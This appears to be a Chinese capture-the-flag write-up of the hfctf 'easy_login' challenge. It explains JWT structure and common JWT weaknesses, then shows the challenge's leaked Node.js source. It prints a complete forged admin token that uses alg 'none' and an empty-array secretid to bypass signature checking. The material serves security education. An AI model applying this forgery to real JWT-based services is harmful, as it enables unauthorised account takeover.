zoukankan      html  css  js  c++  java
  • 从hfctf学习JWT伪造

    本文作者:Ch3ng

     

    easy_login

    简单介绍一下什么是JWT


     

    Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 7519).该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。

    实际像这么一段数据

    从hfctf学习JWT伪造323.png

    这串数据以(.)作为分隔符分为三个部分,依次如下:

    l Header

     

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 解码为 {   "alg": "HS256",   "typ": "JWT" }
    alg属性表示签名的算法(algorithm),默认是 HMAC SHA256(写成 HS256);typ属性表示这个令牌(token)的类型(type),JWT 令牌统一写为JWT
    

     

    l Payload

     

    eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ 
    解码为
     {   "sub": "1234567890",   "name": "John Doe",   "iat": 1516239022 }
    JWT 规定了7个官方字段,供选用
    iss (issuer):签发人
    exp (expiration time):过期时间
    sub (subject):主题
    aud (audience):受众
    nbf (Not Before):生效时间
    iat (Issued At):签发时间
    jti (JWT ID):编号
    

     

    l Signature

    Signature 部分是对前两部分的签名,防止数据篡改。

    首先,需要指定一个密钥(secret)。这个密钥只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是 HMAC SHA256),按照下面的公式产生签名。

     

    HMACSHA256(   base64UrlEncode(header) + "." +   base64UrlEncode(payload),   secret )
    

     

     算出签名以后,把 Header、Payload、Signature 三个部分拼成一个字符串,每个部分之间用"点"(.)分隔,就可以返回给用户。

     

    JWT安全问题一般有以下

    1. 修改算法为none

    2. 修改算法从RS256到HS256

    3. 信息泄漏 密钥泄漏

    4. 爆破密钥

    首先是一个登录框,我们先注册一个账号admin123,admin123

    从hfctf学习JWT伪造1229.png

    看题目意思应该是想办法变成admin来登录

     

    查看前端代码js/app.js

     

    1./** 
    2. *  或许该用 koa-static 来处理静态文件 
    3. *  路径该怎么配置?不管了先填个根目录XD 
    4. */  
    5.  
    6.function login() {  
    7.    const username = $("#username").val();  
    8.    const password = $("#password").val();  
    9.    const token = sessionStorage.getItem("token");  
    10.    $.post("/api/login", {username, password, authorization:token})  
    11.        .done(function(data) {  
    12.            const {status} = data;  
    13.            if(status) {  
    14.                document.location = "/home";  
    15.            }  
    16.        })  
    17.        .fail(function(xhr, textStatus, errorThrown) {  
    18.            alert(xhr.responseJSON.message);  
    19.        });  
    20.}  
    21.  
    22.function register() {  
    23.    const username = $("#username").val();  
    24.    const password = $("#password").val();  
    25.    $.post("/api/register", {username, password})  
    26.        .done(function(data) {  
    27.            const { token } = data;  
    28.            sessionStorage.setItem('token', token);  
    29.            document.location = "/login";  
    30.        })  
    31.        .fail(function(xhr, textStatus, errorThrown) {  
    32.            alert(xhr.responseJSON.message);  
    33.        });  
    34.}  
    35.  
    36.function logout() {  
    37.    $.get('/api/logout').done(function(data) {  
    38.        const {status} = data;  
    39.        if(status) {  
    40.            document.location = '/login';  
    41.        }  
    42.    });  
    43.}  
    44.  
    45.function getflag() {  
    46.    $.get('/api/flag').done(function(data) {  
    47.        const {flag} = data;  
    48.        $("#username").val(flag);  
    49.    }).fail(function(xhr, textStatus, errorThrown) {  
    50.        alert(xhr.responseJSON.message);  
    51.    });  
    52.}  
    

     

    根据注释符提示可以发现存在源码泄露问题

    接着发现了源码泄漏

    访问app.js,controller.js,rest.js即可得到源代码

    关键代码controllers/api.js

     

    1.const crypto = require('crypto');  
    2.  
    3.const fs = require('fs')  
    4.  
    5.const jwt = require('jsonwebtoken')  
    6.  
    7.  
    8.const APIError = require('../rest').APIError;  
    9.  
    10.  
    11.module.exports = {  
    12.  
    13.    'POST /api/register': async (ctx, next) => {  
    14.  
    15.        const {username, password} = ctx.request.body;  
    16.  
    17.  
    18.        if(!username || username === 'admin'){  
    19.  
    20.            throw new APIError('register error', 'wrong username');  
    21.  
    22.        }  
    23.  
    24.  
    25.        if(global.secrets.length > 100000) {  
    26.  
    27.            global.secrets = [];  
    28.  
    29.        }  
    30.  
    31.  
    32.        const secret = crypto.randomBytes(18).toString('hex');  
    33.  
    34.        const secretid = global.secrets.length;  
    35.  
    36.        global.secrets.push(secret)  
    37.  
    38.  
    39.        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});  
    40.  
    41.          
    42.  
    43.        ctx.rest({  
    44.  
    45.            token: token  
    46.  
    47.        });  
    48.  
    49.  
    50.        await next();  
    51.  
    52.    },  
    53.  
    54.      
    55.  
    56.    'POST /api/login': async (ctx, next) => {  
    57.  
    58.        const {username, password} = ctx.request.body;  
    59.  
    60.  
    61.        if(!username || !password) {  
    62.  
    63.            throw new APIError('login error', 'username or password is necessary');  
    64.  
    65.        }  
    66.  
    67.          
    68.  
    69.        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;  
    70.  
    71.  
    72.        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;  
    73.  
    74.          
    75.  
    76.        console.log(sid)  
    77.  
    78.  
    79.        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {  
    80.  
    81.            throw new APIError('login error', 'no such secret id');  
    82.  
    83.        }  
    84.  
    85.  
    86.        const secret = global.secrets[sid];  
    87.  
    88.  
    89.        const user = jwt.verify(token, secret, {algorithm: 'HS256'});  
    90.  
    91.  
    92.        const status = username === user.username && password === user.password;  
    93.  
    94.  
    95.        if(status) {  
    96.  
    97.            ctx.session.username = username;  
    98.  
    99.        }  
    100.  
    101.  
    102.        ctx.rest({  
    103.  
    104.            status  
    105.  
    106.        });  
    107.  
    108.  
    109.        await next();  
    110.  
    111.    },  
    112.  
    113.  
    114.    'GET /api/flag': async (ctx, next) => {  
    115.  
    116.        if(ctx.session.username !== 'admin'){  
    117.  
    118.            throw new APIError('permission error', 'permission denied');  
    119.  
    120.        }  
    121.  
    122.  
    123.        const flag = fs.readFileSync('/flag').toString();  
    124.  
    125.        ctx.rest({  
    126.  
    127.            flag  
    128.  
    129.        });  
    130.  
    131.  
    132.        await next();  
    133.  
    134.    },  
    135.  
    136.  
    137.    'GET /api/logout': async (ctx, next) => {  
    138.  
    139.        ctx.session.username = null;  
    140.  
    141.        ctx.rest({  
    142.  
    143.            status: true  
    144.  
    145.        })  
    146.  
    147.        await next();  
    148.  
    149.    }  
    150.  
    151.};  
    

     

    尝试注册,可以看到在注册的时候生成了一个token,并存在sessionStorage中

    从hfctf学习JWT伪造5619.png

    得到:

     

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MSwidXNlcm5hbWUiOiJhZG1pbjEyMyIsInBhc3N3b3JkIjoiYWRtaW4xMjMiLCJpYXQiOjE1ODczNzg4MjB9.o5ePpkaTQcSBxmOV-z6hBsWmvvbkd1a_C6Eu7Dpok4Q
    

     

    解密得到:

    从hfctf学习JWT伪造5813.png

    token生成过程

     

    1.const secret = crypto.randomBytes(18).toString('hex');  
    2.const secretid = global.secrets.length;  
    3.global.secrets.push(secret)  
    4.const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'}
    

     

    看看各种条件,这里会先对sid进行验证,我们需要绕过这条认证,下面还有一个jwt.verify()的验证并赋值给user

     

    1.const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;  
    2.console.log(sid)  
    3.if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {  
    4.    throw new APIError('login error', 'no such secret id');  
    5.}  
    6.const secret = global.secrets[sid];  
    7.const user = jwt.verify(token, secret, {algorithm: 'HS256'});  
    8.const status = username === user.username && password === user.password;  
    9......  
    10.....  
    11.'GET /api/flag': async (ctx, next) => {  
    12.    if(ctx.session.username !== 'admin'){  
    13.        throw new APIError('permission error', 'permission denied');  
    14.    }  
    

     

    这里的密钥是生成了18位,基本没有爆破的可能性,我们使用的方法是将算法(alg)设置为none,接着我们需要让jwt.verify()验证中的secret为空,这里有个tricks

    222.jpg

    再看看能不能过条件

    const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
    运行结果

     

    1. > sid < secrets.length  
    2. true  
    3. > sid >= 0  
    4. true  
    我们将header修改
    1. 原:
    2. {  
    3.   "alg": "HS256",  
    4.   "typ": "JWT"  
    5. }  
    6. ===>  
    7. {  
    8.   "alg": "none",  
    9.   "typ": "JWT"  
    10. }  
    11. 并加密为
    12. eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0  
    修改payload
    1. {  
    2.   "secretid": 1,  
    3.   "username": "admin123",  
    4.   "password": "admin123",  
    5.   "iat": 1587378820  
    6. }  
    7. ===>  
    8. {  
    9.   "secretid": [],  
    10.   "username": "admin",  
    11.   "password": "admin123",  
    12.   "iat": 1587378820  
    13. }  
    14. 并加密为
    15. eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6ImFkbWluMTIzIiwiaWF0IjoxNTg3Mzc4ODIwfQ
    

     

     

    最后使用(.)进行拼接得到伪造的token

    eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6ImFkbWluMTIzIiwiaWF0IjoxNTg3Mzc4ODIwfQ.

    修改sessionStorage

    从hfctf学习JWT伪造7785.png

    接着使用admin,admin123登录访问api/flag,即可得到flag

    从hfctf学习JWT伪造7827.png

    参考:

    https://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html

    https://jwt.io/

  • 相关阅读:
    《WF编程》系列之 承载工作流:跟踪服务 Tracking Service
    C#中隐藏(new)和方法重写(override)和重载(overload)的区别
    一套完整自定义工作流的实现
    工作流规范
    新宇面试题
    c# 多态性
    SQL Join连接详解
    Minix安装及配置指南(转载)
    游戏开发的学习资料汇总
    error LNK2019: 无法解析的外部符号 __vsnprintf 问题的解决方法
  • 原文地址:https://www.cnblogs.com/hetianlab/p/12753770.html
Copyright © 2011-2022 走看看